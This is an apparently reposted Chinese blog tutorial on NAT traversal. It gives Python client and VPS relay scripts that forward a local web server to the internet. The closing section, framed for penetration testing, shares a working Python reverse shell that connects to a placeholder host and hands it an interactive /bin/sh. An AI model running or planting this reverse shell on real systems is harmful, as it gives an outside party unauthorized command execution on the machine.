文章来源于网络收集而来,版权归原创者所有,如有侵权请及时联系!
内网穿透
本篇主要介绍代理的一个常用的功能:内网穿透
很多人经常会有这么一个需求,需要将本地开发的 web 项目给外网的人看下,再搭一遍到 vps 太麻烦,于是就有借助拥有公网 ip 的主机来中转。
有专门的软件做这件事,如 ngrok, frp。
介绍下原理
由于内网的机器有 NAT 或 防火墙什么的,外网 vps 是无法会直接连接的,所以想要通过 vps 来中转就需要内网先连接 vps,然后 vps 通过连接的套接字来转发数据。
贴下代码
client_proxy
import socket
import select
def send_data(sock, data):
print(data)
bytes_sent = 0
while True:
r = sock.send(data[bytes_sent:])
if r < 0:
return r
bytes_sent += r
if bytes_sent == len(data):
return bytes_sent
def handle_tcp(sock, remote):
# 处理 client socket 和 remote socket 的数据流
try:
fdset = [sock, remote]
while True:
# 用 IO 多路复用 select 监听套接字是否有数据流
r, w, e = select.select(fdset, [], [])
if sock in r:
data = sock.recv(4096)
if len(data) <= 0:
break
result = send_data(remote, data)
if result < len(data):
raise Exception('failed to send all data')
if remote in r:
data = remote.recv(4096)
if len(data) <= 0:
break
result = send_data(sock, data)
if result < len(data):
raise Exception('failed to send all data')
except Exception as e:
raise(e)
finally:
sock.close()
remote.close()
while True:
s_conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s_conn.connect(("xx.xx.xx.xx", 2333))
client_conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_conn.connect(('127.0.0.1', 8000))
handle_tcp(s_conn, client_conn)
server_proxy
import threading
import socket
import select
# AF_INET: 基于 IPV4 的网络通信 SOCK_STREAM: 基于 TCP 的流式 socket 通信
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# 将套接字绑定到地址
s1.bind(('', 2333))
# 监听 TCP 传入连接
s1.listen(5)
# AF_INET: 基于 IPV4 的网络通信 SOCK_STREAM: 基于 TCP 的流式 socket 通信
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# 将套接字绑定到地址
s2.bind(('', 8000))
# 监听 TCP 传入连接
s2.listen(5)
def send_data(sock, data):
print(data)
bytes_sent = 0
while True:
r = sock.send(data[bytes_sent:])
if r < 0:
return r
bytes_sent += r
if bytes_sent == len(data):
return bytes_sent
def handle_tcp(sock, remote):
# 处理 client socket 和 remote socket 的数据流
try:
fdset = [sock, remote]
while True:
# 用 IO 多路复用 select 监听套接字是否有数据流
r, w, e = select.select(fdset, [], [])
if sock in r:
data = sock.recv(4096)
if len(data) <= 0:
break
result = send_data(remote, data)
if result < len(data):
raise Exception('failed to send all data')
if remote in r:
data = remote.recv(4096)
if len(data) <= 0:
break
result = send_data(sock, data)
if result < len(data):
raise Exception('failed to send all data')
except Exception as e:
raise(e)
finally:
sock.close()
remote.close()
while True:
con1, addr1 = s1.accept()
print("new connection from %s:%s" % addr1)
con2, addr2 = s2.accept()
print("new connection from %s:%s" % addr2)
t = threading.Thread(target=handle_tcp, args=(con1, con2))
t.start()
- 假设我们需要共享的 web 是 python 的 simple http_server, 首先执行 python -m SimpleHTTPServer, 这样本地会绑定 8000 端口
- 在自己的 vps 上运行 python3 reverse_server.py
- 在本地运行 python3 reverse_client_proxy.py
- 接下来我们直接在外网访问 vps 的地址: http://xx.xx.xx.xx:8000 就可以发现能够转发内网的数据了。
github 地址: reverse_client_proxy.py
一般内网穿透在网络安全人员做内网渗透测试的时候比较有用,反弹一个 shell。就可以任意执行命令。
这里分享一个最基本的 python 反弹 shell 脚本
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("x.x.x.x",2333))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论